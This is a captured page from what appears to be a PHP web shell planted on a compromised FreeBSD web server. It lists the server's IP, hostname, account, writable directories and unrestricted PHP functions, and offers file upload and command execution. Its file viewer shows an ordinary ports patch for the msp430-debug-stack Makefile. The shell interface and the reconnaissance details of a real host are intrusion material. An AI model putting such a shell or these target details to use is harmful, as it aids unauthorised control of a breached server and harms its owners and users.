403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/devel/msp430-debug-stack/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/devel/msp430-debug-stack/files/patch-Makefile
--- Makefile.orig	2020-02-24 09:36:30 UTC
+++ Makefile
@@ -16,6 +16,7 @@ MAKE_PCH += -x c++-header
 USE_PCH += -include $(PCH_HEADER)
 
 export BOOST_DIR
+export HIDAPI_DIR
 export STATIC
 export DEBUG
 
@@ -68,15 +69,15 @@ ifeq ($(PLATFORM),Linux)
 
 	HIDOBJ := $(LIBTHIRD)/hid-libusb.o
 else
-	CXX:= clang++
+#	CXX:= clang++
 
-	OUTPUT := libmsp430.dylib
-	STATICOUTPUT := mac64
+	OUTPUT := libmsp430.so
+	STATICOUTPUT := libmsp430
 
 	ifdef STATIC
-	STATIC_LIBS += -framework CoreFoundation -framework IOKit -lhidapi
+	STATIC_LIBS += -lhidapi
 	else
-	LIBS += -framework CoreFoundation -framework IOKit -lhidapi
+	LIBS += -lhidapi
 	endif
 
 	ifdef BOOST_DIR
@@ -84,9 +85,14 @@ else
 	LIBDIRS += -L$(BOOST_DIR)/lib
 	endif
 
-	OUTNAME := -install_name
-	BSTATIC :=
-	BDYNAMIC :=
+	ifdef HIDAPI_DIR
+	INCLUDES += -I$(HIDAPI_DIR)/include/hidapi
+	LIBDIRS += -L$(HIDAPI_DIR)/lib
+	endif
+
+	OUTNAME := -Wl,-soname,
+	BSTATIC := -Wl,-Bstatic
+	BDYNAMIC := -Wl,-Bdynamic
 
 	HIDOBJ :=
 endif

Youez - 2016 - github.com/yon3zu
LinuXploit